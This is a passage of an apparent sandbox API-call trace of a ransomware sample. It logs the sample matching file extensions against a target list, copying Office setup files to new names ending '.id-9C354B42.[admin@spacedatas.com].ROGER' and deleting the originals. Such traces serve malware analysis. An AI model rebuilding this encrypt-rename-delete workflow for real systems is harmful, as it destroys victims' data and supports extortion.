(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.302] lstrlenW (lpString=".doc") returned 4 [0044.302] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0044.302] lstrlenW (lpString=".docx") returned 5 [0044.302] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0044.302] lstrlenW (lpString=".pdf") returned 4 [0044.302] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0044.302] lstrlenW (lpString=".xls") returned 4 [0044.302] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0044.302] lstrlenW (lpString=".xlsx") returned 5 [0044.302] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0044.302] lstrlenW (lpString=".ppt") returned 4 [0044.302] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0044.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.302] lstrlenW (lpString=".zip") returned 4 [0044.302] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0044.302] lstrlenW (lpString=".rar") returned 4 [0044.302] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0044.302] lstrlenW (lpString=".bz2") returned 4 [0044.302] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0044.302] lstrlenW (lpString=".7z") returned 3 [0044.303] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0044.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.303] lstrlenW (lpString=".dbf") returned 4 [0044.303] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.303] lstrlenW (lpString=".1cd") returned 4 [0044.303] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0044.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.303] lstrlenW (lpString=".jpg") returned 4 [0044.303] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.303] lstrlenW (lpString=".doc") returned 4 [0044.303] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString=".docx") returned 5 [0044.303] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0044.303] lstrlenW (lpString=".pdf") returned 4 [0044.303] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString=".xls") returned 4 [0044.303] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString=".xlsx") returned 5 [0044.303] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0044.303] lstrlenW (lpString=".ppt") returned 4 [0044.303] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.303] lstrlenW (lpString=".zip") returned 4 [0044.303] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString=".rar") returned 4 [0044.303] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0044.303] lstrlenW (lpString=".bz2") returned 4 [0044.303] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0044.304] lstrlenW (lpString=".7z") returned 3 [0044.304] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0044.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.304] lstrlenW (lpString=".dbf") returned 4 [0044.304] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0044.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.304] lstrlenW (lpString=".1cd") returned 4 [0044.304] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0044.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0044.304] lstrlenW (lpString=".jpg") returned 4 [0044.304] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0044.304] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.304] lstrlenW (lpString="SETUP.XML") returned 9 [0044.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0045.141] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4207) returned 1 [0045.141] CloseHandle (hObject=0x3d4) returned 1 [0045.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0045.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0045.165] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.165] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0045.166] GetLastError () returned 0x0 [0045.166] ReadFile (in: hFile=0x3a4, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x106f, lpOverlapped=0x0) returned 1 [0045.194] WriteFile (in: hFile=0x3dc, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0045.195] ReadFile (in: hFile=0x3a4, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.195] WriteFile (in: hFile=0x3dc, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.195] SetEndOfFile (hFile=0x3dc) returned 1 [0045.195] CloseHandle (hObject=0x3dc) returned 1 [0045.195] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.195] SetEndOfFile (hFile=0x3a4) returned 1 [0045.196] CloseHandle (hObject=0x3a4) returned 1 [0045.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0045.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.197] lstrlenW (lpString=".doc") returned 4 [0045.197] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString=".docx") returned 5 [0045.197] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.197] lstrlenW (lpString=".pdf") returned 4 [0045.197] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString=".xls") returned 4 [0045.197] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString=".xlsx") returned 5 [0045.197] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.197] lstrlenW (lpString=".ppt") returned 4 [0045.197] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.197] lstrlenW (lpString=".zip") returned 4 [0045.197] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.197] lstrlenW (lpString=".rar") returned 4 [0045.197] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString=".bz2") returned 4 [0045.197] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString=".7z") returned 3 [0045.197] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.197] lstrlenW (lpString=".dbf") returned 4 [0045.197] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.197] lstrlenW (lpString=".1cd") returned 4 [0045.197] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.197] lstrlenW (lpString=".jpg") returned 4 [0045.197] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.198] lstrlenW (lpString=".doc") returned 4 [0045.198] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString=".docx") returned 5 [0045.198] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.198] lstrlenW (lpString=".pdf") returned 4 [0045.198] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString=".xls") returned 4 [0045.198] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString=".xlsx") returned 5 [0045.198] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.198] lstrlenW (lpString=".ppt") returned 4 [0045.198] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.198] lstrlenW (lpString=".zip") returned 4 [0045.198] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.198] lstrlenW (lpString=".rar") returned 4 [0045.198] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString=".bz2") returned 4 [0045.198] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString=".7z") returned 3 [0045.198] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.198] lstrlenW (lpString=".dbf") returned 4 [0045.198] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.198] lstrlenW (lpString=".1cd") returned 4 [0045.198] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0045.198] lstrlenW (lpString=".jpg") returned 4 [0045.198] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.199] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.199] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0045.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0045.199] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1450) returned 1 [0045.199] CloseHandle (hObject=0x3a4) returned 1 [0045.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0045.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0045.199] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.199] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0045.261] GetLastError () returned 0x0 [0045.261] ReadFile (in: hFile=0x3a4, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0045.292] WriteFile (in: hFile=0x3dc, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0045.293] ReadFile (in: hFile=0x3a4, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.293] WriteFile (in: hFile=0x3dc, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.293] SetEndOfFile (hFile=0x3dc) returned 1 [0045.293] CloseHandle (hObject=0x3dc) returned 1 [0045.293] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.293] SetEndOfFile (hFile=0x3a4) returned 1 [0045.294] CloseHandle (hObject=0x3a4) returned 1 [0045.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.294] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0045.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.295] lstrlenW (lpString=".doc") returned 4 [0045.295] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString=".docx") returned 5 [0045.295] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.295] lstrlenW (lpString=".pdf") returned 4 [0045.295] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString=".xls") returned 4 [0045.295] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString=".xlsx") returned 5 [0045.295] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.295] lstrlenW (lpString=".ppt") returned 4 [0045.295] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.295] lstrlenW (lpString=".zip") returned 4 [0045.295] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.295] lstrlenW (lpString=".rar") returned 4 [0045.295] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString=".bz2") returned 4 [0045.295] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString=".7z") returned 3 [0045.295] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.295] lstrlenW (lpString=".dbf") returned 4 [0045.295] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.295] lstrlenW (lpString=".1cd") returned 4 [0045.295] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.295] lstrlenW (lpString=".jpg") returned 4 [0045.295] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.296] lstrlenW (lpString=".doc") returned 4 [0045.296] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString=".docx") returned 5 [0045.296] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.296] lstrlenW (lpString=".pdf") returned 4 [0045.296] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString=".xls") returned 4 [0045.296] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString=".xlsx") returned 5 [0045.296] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.296] lstrlenW (lpString=".ppt") returned 4 [0045.296] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.296] lstrlenW (lpString=".zip") returned 4 [0045.296] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.296] lstrlenW (lpString=".rar") returned 4 [0045.296] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString=".bz2") returned 4 [0045.296] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString=".7z") returned 3 [0045.296] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.296] lstrlenW (lpString=".dbf") returned 4 [0045.296] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.296] lstrlenW (lpString=".1cd") returned 4 [0045.296] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0045.296] lstrlenW (lpString=".jpg") returned 4 [0045.296] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.297] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.297] lstrlenW (lpString="SETUP.XML") returned 9 [0045.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.298] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1608) returned 1 [0045.298] CloseHandle (hObject=0x3a0) returned 1 [0045.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0045.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.298] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.299] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0045.299] GetLastError () returned 0x0 [0045.299] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x648, lpOverlapped=0x0) returned 1 [0045.368] WriteFile (in: hFile=0x38c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x650, 